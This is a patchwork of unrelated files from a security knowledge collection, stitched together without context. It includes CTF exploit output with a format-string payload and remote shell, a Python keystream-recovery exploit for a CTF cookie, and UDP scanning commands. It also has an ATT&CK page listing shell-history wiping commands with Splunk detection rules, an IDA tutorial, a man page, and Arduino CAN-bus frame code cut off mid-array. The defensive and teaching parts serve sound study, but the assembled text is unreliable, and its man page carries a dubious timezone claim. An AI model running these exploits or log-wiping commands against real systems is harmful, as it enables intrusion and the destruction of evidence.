[*] Payload: 10a0040811a0040812a0040813a004081ca004081da004081ea004081fa004082535366325392468686e253336632531302468686e25313238632531312468686e2534632531322468686e25313633632531332468686e25323138632531342468686e25313237632531352468686e2534632531362468686e
[+] Opening connection to 2018shell3.picoctf.com on port 22462: Done
[*] Switching to interactive mode
/bin/sh#\x10\xa0\x0\x11\xa0\x0\x12\xa0\x0\x13\xa0\x0\x1c\xa0\x0\x1d\xa0\x0\x1e\xa0\x0\x1f\xa0\x0 < \x7f \xbd p p / /input your message:
/bin/dash: 1: hn: not found
input your message:
$ ls
echoback
echoback.c
flag.txt
xinet_startup.sh
input your message:
$ cat flag.txt
picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_a9521c84}
input your message:
$
[*] Interrupted
[*] Closed connection to 2018shell3.picoctf.com port 22462
```
The flag: picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_a9521c84}
|
sec-knowleage
|
# CTFZone 2018 Quals
Team: shalom, msm, rev, chivay, rodbert, akrasuski1, sasza, nazywam, c7f.m0d3
### Table of contents
* [USSH (crypto)](crypto_ussh)
* [Federation Workflow System (crypto)](crypto_federation)
* [Signature Server (crypto)](crypto_signature)
* [MMORPG 3000 (web)](web_mmorpg)
* [Ghost in the flash (forensics/stegano)](for_ghost)
* [Help Mars (ppc)](ppc_help_mars)
* [Magician (web)](web_magician)
|
sec-knowleage
|
# IDA
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章 & Reference**
- [萌新学逆向——T1 IDA的正确开启姿势](https://mp.weixin.qq.com/s/I9vJp8fp7RcCls0tz8Dvlg)
- [分析实战读书笔记3_IDA小知识](https://mp.weixin.qq.com/s/Cktu1sK0PILbO0-QJb9Y6A)
- [ida字符串存储的小端序陷阱](https://blog.csdn.net/amber_o0k/article/details/120659054)
- [恶意样本分析精要及实践8-IDA使用(一)](https://mp.weixin.qq.com/s/qaHEUW1uybkHhTAdzC96Hw)
**相关资源 & 教程**
- [VulnTotal-Team/IDA-Pro-tips](https://github.com/VulnTotal-Team/IDA-Pro-tips) - IDA Pro 每周小技巧
**相关扩展**
- [lcq2/riscv-ida](https://github.com/lcq2/riscv-ida) - risc-v 插件
```
Just copy riscv.py into procs folder of IDA. Start ida.exe and not ida64.exe, 64bit support is still missing
```
- [hackflame/ida_python_extractCode](https://github.com/hackflame/ida_python_extractCode) - ida 提取特征码脚本
```
1. 把 tq.py 放到 ida/python 目录下
2. 在 ida/python 中找到 init.py ,打开此初始化脚本,然后拖到最下边
找到
from idc import *
from idautils import *
import idaapi
#在下面加一行
import tq
3. 打开 ida 测试。快捷键为 ALT+Z
```
- [SentineLabs/AlphaGolang](https://github.com/SentineLabs/AlphaGolang) - go 逆向插件
```
Requirements: IDA Pro (ideally v7.6+) and Python3 (ew) The first two steps (recreate_pclntab and function_discovery_and_renaming) will work on IDA v7.5- but scripts beyond that require IDAv7.6+. Newer versions are the ideal target for newer scripts going forward.
```
- [t3ls/mipsAudit](https://github.com/t3ls/mipsAudit) - IDA MIPS 静态扫描脚本,汇编审计辅助脚本
```
将 mipsAudit.py 拷贝到 \IDA 7.5\plugins 目录
启动后在 Edit - Plugins 下点击 mipsAudit 即可(快捷键 Ctrl+Alt+M)
```
- [CheckPointSW/Karta](https://github.com/CheckPointSW/Karta) - 识别并匹配给定代码中的开源代码库
```
git clone https://github.com/CheckPointSW/Karta.git
cd Karta
setup.py install
```
- [aliyunav/Finger](https://github.com/aliyunav/Finger) - A tool for recognizing function symbol
```
Now, Finger support python 2.7 and python 3, and requires IDA version >= 7.0.
pip install finger_sdk
Copy plugin/finger_plugin.py to your IDA_PATH/plugins path.
```
- [REhints/HexRaysCodeXplorer](https://github.com/REhints/HexRaysCodeXplorer) - Hex-Rays Decompiler plugin for better code navigation
- [gaasedelen/patching](https://github.com/gaasedelen/patching) - An Interactive Binary Patching Plugin for IDA Pro
---
**简介**
IDA 是最有影响力且流行的商业反编译调试工具;常被用于逆向工程,恶意病毒分析以及脆弱性研究。IDA 可以运行在不同平台(macOS、Linux 和 windows)支持分析不同的文件类型(PE/ELF/Macho-O)。
除商业版本之外,IDA 还提供 2 个其他版本:IDA demo 版本(评估版本)和 IDA 免费版本;两个版本都有一定的限制,都可以反编译 32 和 64 位 windows 程序,但是免费版无法调试二进制,demo 版本无法调试 64 位二进制,demo 版本也无法保存数据库,并且 demo 版本和免费版都无法支持 IDApython。
**目录结构**
IDA 主程序有2个: ida.exe 和 ida64.exe
- ida.exe 用于分析 32 位应用程序
- ida64.exe 用于分析 64 位应用程序
如果无法判断目标程序是 32 位还是 64 位的,可以直接打开, 会有相应提示。
ida64 可以反汇编 32 位应用程序,但是无法生成 32 位应用程序的伪代码。
**在 IDA 中加载二进制**
IDA 会像 windows 一样加载文件到内存中。IDA 可以通过判断文件头确定最可能适合的加载器。在选择文件后 IDA 会加载对话框,用于确认合适的加载起和进程类型。文件设置(file option)选项是用于加载未识别的文件,一般使用该选项处理 shellcode。默认情况下 IDA 不会在反编译中加载 PE 头和源部分。通过使用手动加载 checkbox 选项,可以手动选择加载基址和加载位置,IDA 将会在加载的每个部分包括 PE 头给予相应的提示。点击 OK,IDA 将文件加载到内存,并且开始反编译相关代码。
## 界面组成
### 反汇编窗口
当二进制文件被加载,IDA 展示的窗口就是反汇编编辑窗口(也叫做IDA-view窗口),这是个主要窗口,用于分析和展示反汇编代码,并且可以用于分析反汇编二进制。
**函数窗口 function widnow**
左侧的窗口是函数列表,包含了该程序中的所有函数,这里的函数名几乎都是以 `sub_XXXX` 开头,这是因为源程序编译之后,函数的符号名属于无用数据,被删除掉了,函数代码所在的内存地址就成为了唯一标识一个函数的数据。对于无符号名的函数,IDA 采用 sub_ + 函数所在的内存地址对函数进行命名。这个窗口可以拉大一些,后面还有开始地址,结束地址,长度、类型等。
该窗口同时也显示每个函数可以被找到的虚拟地址,每个函数的大小,以及其他函数相关信息。双击可以定位跳转到对应函数的位置。每个函数与大量的标志相关联(例如 R、F、L 等等标志)。通过 F1 按钮可以获取更多关于相关标志的帮助信息。一个有用的标志 L 标志,代表函数的库函数。库函数是编译器产生而非恶意软件作者编写的函数;
**代码窗口**
右侧是代码窗口,目前正在显示的是汇编代码。
代码窗口中,左边 .radata 代表内存地址,aHiCtferxxxx 是 IDA 为该地址对应数据生成的一个标识符 (别名),行末是该内存对应的数据
这里的标识符是 IDA 为方便阅读,按照一定规则自动生成的,实际程序运行时,直接使用实际内存地址引用数据,但内存地址不便于记忆,所以 IDA 按可读性进行了生成。
IDA 可以使用两个模式展示反编译的代码:Graph view(graph diassembly view)和 Text view(实际应该叫 text diassembly view), 默认进入的是 graph view,这里可以使用空格快捷键进行切换。
**输出窗口 out window**
底侧是输出信息日志的窗口,输出窗口展示的是 IDA 以及 IDA 插件输出的相关信息。这些对于分析恶意样本以及样本对系统操作分析提供很多信息。可以通过查看输出在 output 窗口的内容可以获取 IDA 执行加载过程中的相关信息。
**十六进制窗口 Hex view window**
通过点击 HexView-1 标签可以展示 Hex 窗口。Hex 窗口可以展示一系列的十六进制转储内容以及 ASCII 字符。默认情况下,十六进制窗口(hex window)。默认情况下十六进制窗口同步反编译窗口(disassembly window)内容;也就是在反汇编窗口中选择了一部分字节的数据,相应的在十六进制窗口中同样的会进行标记高亮相关的内容,这对于标记内存地址很有帮助。
**结构窗口 structures window**
点击 structures windows 标签,可以进入借口窗口。结构窗口展示程序使用的标准的数据结构,并且允许创建自建的数据结构。
**引用窗口 imports window**
引用窗口是所有二进制程序引用的函数的列表。展示了引用的函数以及相关函数引用的库函数内容。
**出口窗口 exports window**
出口窗口展示的是程序出口函数的列,出口函数通常在 DLL 动态链接库中,因此对于分析恶意样本 DLL 时有用。
**名字窗口 (Shift+F4)**
名字窗口展示了 IDA 解析出来的函数名称,字符串名称,变量名称等一些名称字符串。
**字符串窗口 string window (Shift+F12)**
IDA 默认不展示字符窗口,你可以通过点击 view/open subviews/strings(或者使用 Shift+F12 快捷方式打开)字符窗口。字符窗口展示的是从二进制和地址中能够发现字符列表。
默认情况下,字符窗口仅展示长度不小于 5 的 null-terminated ASCII 字符串。有些恶意样本的二进制使用的是 UNICODE 字符。可以通过配置 IDA 显示不同的字符,右击 Setup(或者 Ctrl+U)检测 Unicode C-style(16 比特),点击 ok 即可。
**段窗口 segments window (shift+F7)**
段窗口可以通过 view/open subviews/segments。段窗口是展示(.text,.data 等等)部分内容的列表。显示信息包括开始地址,以及结束地址,每个部分的内存权限。开始和结束的地址都有每个部分的虚拟地址的详细说明,可用于定位对应内存中的位置。
### 图形窗口
在 graph view 模式下,IDA 一次只显示一个函数,在一个流程图的窗口中函数在基本块区中断。这个模式可以快速识别分支和循环。
在 graph view 中虚拟地址默认不显示(每个基础块仅显示最基本的信息展示)。如果需要显示虚拟地址信息,需要点击 Options/general 然后点击 Line prefixes 以启用。
在 Graph view 模式下,颜色和箭头的指示方向都是根据判断显示的。
条件跳转使用红色和绿色的箭头,true 条件用绿色箭头表示,false 使用红色箭头表示。蓝色的箭头是被用来表示无条件跳转,循环使用的是向上的蓝色的箭头表示。
- 红色箭头表示跳转未执行;
- 绿色箭头表示跳转执行了;
- 蓝色箭头表示无条件跳转。
### 文本窗口
在 text view 模式中,整个反编译目前处于线性方式展示。整个虚拟地址默认展示,`<section name>:<virtual address >` 格式。
在text view窗口中最左边的部分被称为箭头窗口,用于展示程序的非线性流。
- 虚线箭头表示条件跳转
- 实线箭头表示无条件跳转
- 向上的箭头一般代表循环。
---
## 基本操作
- shift + F12 打开 Strings 页面,用于查看程序中所有字符串,在其中 Ctrl + F 查找关键字符串
- 转换伪代码,在引用代码处按 Tab 或 F5
**加载前指定基地址**
将样本拖入 IDA 后勾选 Manual load,然后点击 OK,输入基地址,这样可以在 IDA 进行加载时就执行基址重定向相关工作。同时,这种操作还有另一个好处,可以让 IDA 显示 PE 头部数据。
**显示硬编码**
点击顶部菜单栏 Options->Genaral,将 Number of opcode.... 设置为 10,就可以看到硬编码了。
**重置视图排版**
当你乱拖动窗口发现弄不回去了的时候,点击 Reset desktop 可以将各个窗口位置重置,同样的,点击 Save desktop 也可以保存你设置好的窗口布局。
**文件偏移跳转**
IDA 中的地址是内存中拉伸后的地址,当你在 HEX 查看器里发现一些有趣的数据时,可以通过 Jump to file offset 直接输入文件偏移进行跳转,省去了我们手动进行地址转换的时间。
**搜索**
- Alt+T 搜索字符串,可以搜索指令的字符串 如 fs:
- Alt+B 搜索字节数据,如 30 00 00 00。
**识别函数**
当 IDA 无法正确识别一段函数时,可以按 P 手动要求 IDA 识别函数。
Alt+P 可以指定函数的细节,如开始位置,结束位置,是否为 EBP 寻址,参数变量默认长度等。
**重命名地址**
当分析恶意病毒的时候,可以将这些变量或函数改成更有意义的名字。右键变量或者参数名,选择重命名(rename 或者按快捷键 “N”)。当重命名之后 IDA 将会同步新名字到与其相关的项目上.
**IDA 标注功能**
标注对于提示某一函数的作用很有帮助。首先将光标放在任何一个反编译列表里的一行中,然后使用快捷键(“:”),通过在新的对话框中填写相关信息并确定,完成相关备注。
**IDA 数据库**
当可执行文件加载到 IDA 中,就会在工作目录中创建一个数据库该数据库一共包含 5 个文件(扩展名为:`.id0`,`.id1`,`.nam`,`.id2` 以及 `.til`)。每一个文件保存了大量的与可执行文件匹配的相关信息。这些文件被压缩和归档到以 `.idb`(32 进制)压缩文件中。当加载可执行程序后,从中读取创建信息保存在数据库中。大量的信息展都保存在数据库中以用于展示代码分析时有用的信息。任何的修改操作(如重命名,注释批注等等)都会显示在 view 中并且般存在数据库中,但是这些修改并不会修改原二进制文件。你可以通过关闭 IDA 保存数据库;当关闭 IDA 的时候将会提示是否保存数据库的提示框。默认情况下数据库包配置(默认配置)会将所有文件保存在 IDB(`.idb`)或者 i64(`.i64`)。当重新打开 `.idb` 或者 `.i64` 文件的时候,会看到重命名的变量和标注都在。
**格式化转化操作数**
IDA 可以将 16 进制值编码为十进制、八进制、二进制。ASCII 也可以转为字符型。例如,如果要修改 41h 格式的值,右击在这个值上选择即可。
**导航地址**
IDA 的另一个特征是可以在程序中导航任意地址更加方便。当程序被反编译,IDA 就会标记每一个程序中的地址,双击字符则会在显示中跳转到对应字符所在的位置。如函数名或变量。
IDA 保持跟踪导航历史;任何时候被重定向到另外一个地址,都可以使用返回按钮返回之前的地址。
跳转到指定地址可以点击 jump/jump to Address(或者使用快捷键 G) 来跳转到地址。点击 OK 完成跳转。
**查找交叉参考 cross References**
一个程序通常包含很多函数。一个函数可以被一个或多个函数调用,或者调用一个或多个函数。
选中标识符,按 X 找出程序中所有引用该字符串的代码,列出所有的交叉参考
交叉参考可以在审计代码的过程中快速定位字符或者函数的引用。
**Graphs**
右键工具栏,选择Graphs,会显示5个按钮:
通过点击这5个不同的视图,可以分别展示不同的展示方式
从左到右依次是:
* 展示当前函数的外部流图表。展示的图形与 IDA 的交互视角很像。
* 展示当前函数的调用视图;这可以用来快速查看程序中函数调用关系情况;但如果程序的函数很多的话,这个视图就会显得非常大,被塞满。
* 这个视图显示一个函数的被交叉引用情况;如果想看一个程序的访问某个函数的不同路径,这个视图就相对比较清晰。
* 这个视图展示的是一个函数的交叉引用其他函数的情况;可以很清晰的展示函数调用所有其他函数。
* 这是一个自定义交叉引用视图,这个功能可以允许使用者定义交叉引用的一些视图生成内容和方式。
|
sec-knowleage
|
# 基于 UDP 发现内网存活主机
### UDP简介:
UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。
### UDP显著特性:
1. UDP 缺乏可靠性。UDP 本身不提供确认,超时重传等机制。UDP 数据报可能在网络中被复制,被重新排序,也不保证每个数据报只到达一次。
2. UDP 数据报是有长度的。每个 UDP 数据报都有长度,如果一个数据报正确地到达目的地,那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议,没有任何(协议上的)记录边界。
3. UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。大多数的UDP实现中都选择忽略源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报
4. UDP 支持多播和广播。
### 1、nmap扫描
```bash
root@John:~# nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500
```
慢的令人发指

### 2、msf扫描
```bash
msf > use auxiliary/scanner/discovery/udp_probe
```

```bash
msf > use auxiliary/scanner/discovery/udp_sweep
```

### 3、unicornscan扫描
linux下使用推荐
```bash
root@John:~# unicornscan -mU 192.168.1.100
```

### 4、ScanLine扫描
项目地址:
https://www.mcafee.com/ca/downloads/free-tools/scanline.aspx
网盘地址:
http://pan.baidu.com/s/1i4A1wLR
密码:hvyx
McAfee出品,win下使用推荐。管理员执行。


### 附录:
在线基于Nmap的udp扫描:
https://pentest-tools.com/network-vulnerability-scanning/udp-port-scanner-online-nmap
<p align="right">--By Micropoor </p>
|
sec-knowleage
|
---
title: 刷新缓存
---
## 刷新缓存
为了提高程序的运行速度,CF 加上了缓存机制,当获取到云服务资源结果后,这些结果就会被缓存到本地,这样做可以大大提高其他操作的速度。
有了缓存,每次在实例上执行命令的时候,CF 就不用再扫描一遍所有的区域了。
<br>
但缓存也会存在信息滞后、不能实时更新的情况,因此当你想更新目标的云服务资源结果时,可以使用 `--flushCache` 参数去刷新缓存,例如下面这样。
<br>
刷新阿里云的所有缓存
```bash
cf alibaba ls --flushCache
```
仅刷新阿里云 OSS 对象存储的缓存
```bash
cf alibaba oss ls --flushCache
```
仅刷新阿里云 ECS 弹性计算服务的缓存
```bash
cf alibaba oss ls --flushCache
```
> CF 缓存的结果会被保存在 `~/.config/cf/cache.db` 文件下。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年9月7日"
}
}
</script>
|
sec-knowleage
|
# T1070-003-linux-清除历史记录
## 来自ATT&CK的描述
macOS和Linux都会跟踪用户在终端中输入的命令,以便用户可以轻松记住他们所做的事情。可以通过几种不同的方式访问这些日志。用户在登录后,将在环境变量指向的文件中跟踪此命令历史记录HISTFILE。当用户注销系统时,此信息将更新到用户主目录中的文件中~/.bash_history。这样做的好处是它允许用户查看他们之前在不同会话中使用过的命令。由于保存了在命令行上输入的所有内容,因此也会保存在命令行上输入的密码。攻击者可以通过滥用此功能在这些文件中搜索明文密码。此外,攻击者可以使用的方法不同,你需要防止自己的历史记录中出现这些命令,例如unset HISTFILE、export HISTFILESIZE=0、history -c、rm ~/.bash_history。
## 测试案例
rm ~/.bash_history
echo " " > .bash_history
cat /dev/null > ~/.bash_history
ln -sf /dev/null ~/.bash_history
truncate -s0 ~/.bash_history
unset HISTFILE
export HISTFILESIZE=0
history -c
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ rm ~/.bash_history
## 测试留痕
基于audit日志
暂无
基于bash历史记录
icbc@icbc:~$ history
7 rm ~/.bash_history
## 检测规则/思路
### splunk规则
#### 基于audit日志
场景:rm -rf~ / .bash_history
index=linux sourcetype=linux_audit syscall=263 | table time,host,auid,uid,euid,exe,key
index=linux sourcetype=linux_audit type=PATH name=.bash_history nametype=delete | table time,name,nametype
场景:echo " " > .bash_history
index=linux sourcetype="linux_audit" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 a2!=0 AND a3!=0 | table host,syscall,syscall_name,exe,auid
#### 基于bash历史记录
index=linux sourcetype="bash_history" "rm * .bash_history" #值得注意的是,这里只做了最简单的演示,比如history -c 是无法通过bash历史记录进行检测的!其他命令如何检测,你可以自行测试记录。
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-003
<https://attack.mitre.org/techniques/T1070/003/>
|
sec-knowleage
|
##LUHN (Web, 300p)
A new service allows you to check if you credit card has been compromised. You just need to enter your credit card number and you instantly know if it has been leaked on the Darknet.
###PL
[ENG](#eng-version)
###ENG version
|
sec-knowleage
|
'\" t
.TH "LOCALTIME" "5" "" "systemd 231" "localtime"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
localtime \- 本地时区配置文件
.SH "SYNOPSIS"
.PP
/etc/localtime
\->
\&.\&./usr/share/zoneinfo/\&...
.SH "描述"
.PP
/etc/localtime
用于配置 全系统范围的时区,许多应用程序需要根据它 正确显示时间。它必须是一个 指向
/usr/share/zoneinfo/
目录中 某个时区文件(对于中华人民共和国来说应该是
"PRC")的软连接。 [译者注]很多人错误的将
"Asia/Shanghai"
当作中华人民共和国的时区, 但实际上
\m[blue]\fBAsia/Shanghai\fR\m[]\&\s-2\u[1]\d\s+2
是中华民国的"\m[blue]\fB中原时区\fR\m[]\&\s-2\u[2]\d\s+2",遵守的是中华民国的时间规则, 并不能正确处理中华人民共和国在1986年到1991年采用夏时制期间的时间(可能会有一小时的偏差)。 当然,在处理1992年以后的时间上,两者是一致的。
.PP
因为本机时区是根据
/etc/localtime
所指向的目标文件确定的,所以
/etc/localtime
文件 必须是一个软连接,而不能是一个普通文件或硬连接。
.PP
可以通过
\fI$TZ\fR
环境变量来为个别的应用程序设置专用的时区。详见
\fBenviron\fR(7)
手册。
.PP
可以使用
\fBtimedatectl\fR(1)
在运行时更改时区的设置(也就是软连接的指向)。 可以使用
\fBsystemd-firstboot\fR(1)
初始化已挂载(但未启动)的系统镜像的时区设置。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBtzset\fR(3),
\fBlocaltime\fR(3),
\fBtimedatectl\fR(1),
\fBsystemd-timedated.service\fR(8),
\fBsystemd-firstboot\fR(1)
.SH "NOTES"
.IP " 1." 4
Asia/Shanghai
.RS 4
\%https://en.wikipedia.org/wiki/Asia/Shanghai
.RE
.IP " 2." 4
中原时区
.RS 4
\%https://zh.wikipedia.org/zh-cn/%E4%B8%AD%E5%9C%8B%E6%99%82%E5%8D%80
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
## 数字取证工具
|Forensics Tools||||||
|:-:|:-:|:-:|:-:|:-:|:-:|
|[Binwalk](Binwalk.md)|[bulk-extractor](bulk-extractor.md)|Capstone|chntpw|Cuckoo|dc3dd|
|ddrescue|DFF|diStorm3|Dumpzilla|extundelete|Foremost|
|Galleta|Guymager|iPhone Backup Analyzer|p0f|pdf-parser|pdfid|
|pdgmail|peepdf|RegRipper|Volatility|Xplico||
|
sec-knowleage
|
import requests
from crypto_commons.generic import xor_string
s = requests.Session()
def get_state():
return requests.utils.unquote(s.cookies['Encrypted_Game_Session']).decode('base64')
def main():
s.get('http://hacktactoe.dctf-f1nals-2017.def.camp/action.php?action=init')
original_state = get_state()
pt = 'a' * 100
s.get('http://hacktactoe.dctf-f1nals-2017.def.camp/action.php?name=' + pt)
state_with_long_name = get_state()
matching_block = state_with_long_name[112:112 + len(pt)]
keystream = xor_string(matching_block, pt)
print(xor_string(original_state[112:], keystream))
print(keystream.encode("hex"))
print(xor_string(original_state, keystream[:32] * 10))
main()
|
sec-knowleage
|
import numpy as np
import math, string
def calc(p):
r=ord(p)*math.pi/180
c=math.cos(r)
s=math.sin(r)
m = np.matrix([[c,-s,0], [s,c,0], [0,0,1]])
pt = np.matrix([1024,0,0]).T
res=m*pt
res+=np.matrix([2048,2048,0]).T
return res
def extend(e):
r=e^0x5f208c26
for i in range(15, 32, 3):
f=e<<i
r^=f
return r
def hash_alpha(p):
res=calc(p)
return extend(int(res[0]))
def hash_beta(p):
res=calc(p)
return extend(int(res[1]))
def main(idx, pw, unkbyte):
if idx&1 == 0:
final = hash_alpha(pw[idx/2])
else:
final = hash_beta(pw[idx/2])
for i in range(0, 32, 6):
final^=idx<<i
final&=0xffffFFFF
h=0x5a
if 0:
for i in range(32):
p=pw[i]
r=(i*3)&7
p=(p<<r)|(p>>(8-r))
p=p&0xff
h^=p
h^=unkbyte
final^=h
final^=h<<8
final^=h<<16
final^=h<<24
return final
data="30c7ead97107775969be4ba00cf5578f1048ab1375113631dbb6871dbe35162b1c62e982eb6a7512f3274743fb2e55c818912779ef7a34169a838666ff3994bb4d3c6e14ba2d732f14414f2c1cb5d3844935aebbbe3fb206343a004e18a092daba02e3c0969871548ed2c372eb68d1af41152cb3b61f300e3c1a8246108010d282e16df8ae7bff6cb6314d4ad38b5f9779ef23208efe3e1b699700429eae1fa93c036e5dcbe87d32be1ecfac2452ddfdc704a00ea24fbc2161b7824a968e9da1db756712be3e7b3d3420c8f33c37dba42072a941d799ba2eebbf86191cb59aa49a80ebe0b61a79741888cb62341259f62848aad44df2b809383e09437928980f"
dwords=[]
for i in range(len(data)/8):
dwords.append(int(data[i*8:i*8+8], 16))
if 0:
unkbyte=-1
for i in range(256):
for j in range(256):
m=main(0, chr(i), j)
if m == dwords[0]:
unkbyte=j
unkbyte=53
s = ""
candidates = []
for i in range(len(dwords)/2):
candidates.append([])
for c in range(256):
ss = " " * i + chr(c)
m = main(i*2, ss, unkbyte)
m2 = main(i*2+1, ss, unkbyte)
if m == dwords[i*2]:
print "a", i, chr(c)
if chr(c) in string.printable:
s+=chr(c)
#if m2 == dwords[i*2+1]:
# print "b", i, chr(c)
print repr(s)
|
sec-knowleage
|
#include <mcp_can.h>
#include <SPI.h>
#include <avr/pgmspace.h>
// the cs pin of the version after v1.1 is default to D9
// v0.9b and v1.0 is default D10
const int SPI_CS_PIN = 9;
MCP_CAN CAN(SPI_CS_PIN); // Set CS pin
#if 1
struct canx {
uint16_t sid;
unsigned char data[8];
};
const canx cans[] PROGMEM = {
{0, {18, 131, 73, 73, 73, 73, 73, 73}},
{0, {33, 73, 73, 73, 73, 73, 73, 73}},
{0, {34, 73, 73, 73, 73, 73, 73, 73}},
{0, {35, 73, 73, 73, 73, 73, 73, 73}},
{0, {36, 73, 73, 73, 73, 73, 73, 73}},
{0, {37, 73, 73, 73, 73, 73, 73, 73}},
{0, {38, 73, 73, 73, 73, 73, 73, 73}},
{0, {39, 73, 73, 73, 73, 73, 73, 73}},
{0, {40, 73, 73, 73, 73, 73, 73, 73}},
{0, {41, 73, 73, 73, 73, 73, 73, 73}},
{0, {42, 73, 73, 73, 73, 73, 73, 73}},
{0, {43, 73, 73, 73, 73, 73, 73, 73}},
{0, {44, 73, 73, 73, 73, 73, 73, 73}},
{0, {45, 73, 73, 73, 73, 73, 73, 73}},
{0, {46, 73, 73, 73, 73, 73, 73, 73}},
{0, {47, 73, 73, 73, 73, 73, 73, 73}},
{0, {32, 73, 73, 73, 73, 73, 73, 73}},
{0, {33, 73, 73, 73, 73, 73, 73, 73}},
{0, {34, 73, 73, 73, 73, 73, 73, 73}},
{0, {35, 73, 73, 73, 73, 73, 73, 73}},
{0, {36, 73, 73, 73, 73, 73, 73, 73}},
{0, {37, 73, 73, 73, 73, 73, 73, 73}},
{0, {38, 73, 73, 73, 73, 73, 73, 73}},
{0, {39, 73, 73, 73, 73, 73, 73, 73}},
{0, {40, 73, 73, 73, 73, 73, 73, 73}},
{0, {41, 73, 73, 73, 73, 73, 73, 73}},
{0, {42, 73, 73, 73, 73, 73, 73, 73}},
{0, {43, 73, 73, 73, 73, 73, 73, 73}},
{0, {44, 73, 73, 73, 73, 73, 73, 73}},
{0, {45, 73, 73, 73, 73, 73, 73, 73}},
{0, {46, 73, 73, 73, 73, 73, 73, 73}},
{0, {47, 73, 73, 73, 73, 73, 73, 73}},
{0, {32, 73, 73, 73, 73, 73, 73, 73}},
{0, {33, 73, 73, 73, 73, 73, 73, 73}},
{0, {34, 73, 73, 73, 73, 73, 73, 73}},
{0, {35, 73, 73, 73, 73, 73, 73, 73}},
{0, {36, 73, 73, 73, 73, 73, 73, 73}},
{0, {37, 73, 73, 73, 73, 73, 73, 73}},
{0, {38, 73, 73, 73, 73, 73, 73, 73}},
{0, {39, 73, 73, 73, 73, 73, 73, 73}},
{0, {40, 73, 73, 73, 73, 73, 73, 73}},
{0, {41, 73, 73, 73, 73, 73, 73, 73}},
{0, {42, 73, 73, 73, 73, 73, 73, 73}},
{0, {43, 73, 73, 73, 73, 73, 73, 73}},
{0, {44, 73, 73, 73, 73, 73, 73, 73}},
{0, {45, 73, 73, 73, 73, 73, 73, 73}},
{0, {46, 73, 73, 73, 73, 73, 73, 73}},
{0, {47, 73, 73, 73, 73, 73, 73, 73}},
{0, {32, 73, 73, 73, 73, 73, 73, 73}},
{0, {33, 73, 73, 73, 73, 73, 73, 73}},
{0, {34, 73, 73, 73, 73, 73, 73, 73}},
{0, {35, 73, 73, 73, 73, 73, 73, 73}},
{0, {36, 73, 73, 73, 73, 73, 73, 73}},
{0, {37, 73, 73, 73, 73, 73, 73, 73}},
{0, {38, 73, 73, 73, 73, 73, 73, 73}},
{0, {39, 73, 73, 73, 73, 73, 73, 73}},
{0, {40, 73, 73, 73, 73, 73, 73, 73}},
{0, {41, 73, 73, 73, 73, 73, 73, 73}},
{0, {42, 73, 73, 73, 73, 73, 73, 73}},
{0, {43, 73, 73, 73, 73, 73, 73, 73}},
{0, {44, 73, 73, 73, 73, 73, 73, 73}},
{0, {45, 73, 73, 73, 73, 73, 73, 73}},
{0, {46, 73, 73, 73, 73, 73, 73, 73}},
{0, {47, 73, 73, 73, 73, 73, 73, 73}},
{0, {32, 73, 73, 73, 73, 73, 73, 73}},
{0, {33, 73, 73, 73, 73, 73, 73, 73}},
{0, {34, 73, 73, 73, 73, 73, 73, 73}},
{0, {35, 73, 73, 73, 73, 73, 73, 73}},
{0, {36, 73, 73, 73, 73, 73, 73, 73}},
{0, {37, 73, 73, 73, 73, 73, 73, 73}},
{0, {38, 73, 73, 73, 73, 73, 73, 73}},
{0, {39, 73, 73, 73, 73, 73, 73, 73}},
{0, {40, 73, 73, 73, 73, 73, 73, 73}},
{0, {41, 73, 73, 73, 73, 73, 73, 73}},
{0, {42, 73, 73, 73, 73, 73, 73, 73}},
{0, {43, 73, 73, 73, 73, 73, 73, 73}},
{0, {44, 73, 73, 73, 73, 73, 73, 73}},
{0, {45, 73, 73, 73, 73, 73, 73, 73}},
{0, {46, 73, 73, 73, 73, 73, 73, 73}},
{0, {47, 73, 73, 73, 73, 73, 73, 73}},
{0, {32, 73, 73, 73, 73, 73, 73, 73}},
{0, {33, 73, 73, 73, 73, 73, 73, 73}},
{0, {34, 73, 73, 73, 73, 73, 73, 73}},
{0, {35, 73, 73, 73, 73, 73, 73, 73}},
{0, {36, 73, 73, 73, 73, 73, 73, 73}},
{0, {37, 73, 73, 73, 73, 73, 73, 73}},
{0, {38, 73, 73, 73, 73, 73, 73, 73}},
{0, {39, 73, 73, 73, 73, 73, 73, 73}},
{0, {40, 73, 73, 73, 73, 73, 73, 73}},
{0, {41, 73, 73, 73, 73, 73, 73, 73}},
{0, {42, 73, 73, 73, 73, 73, 73, 73}},
{0, {16, 73, 73, 73, 73, 73, 73, 73}},
{1910, {18, 118, 48, 62, 65, 59, 66, 66}},
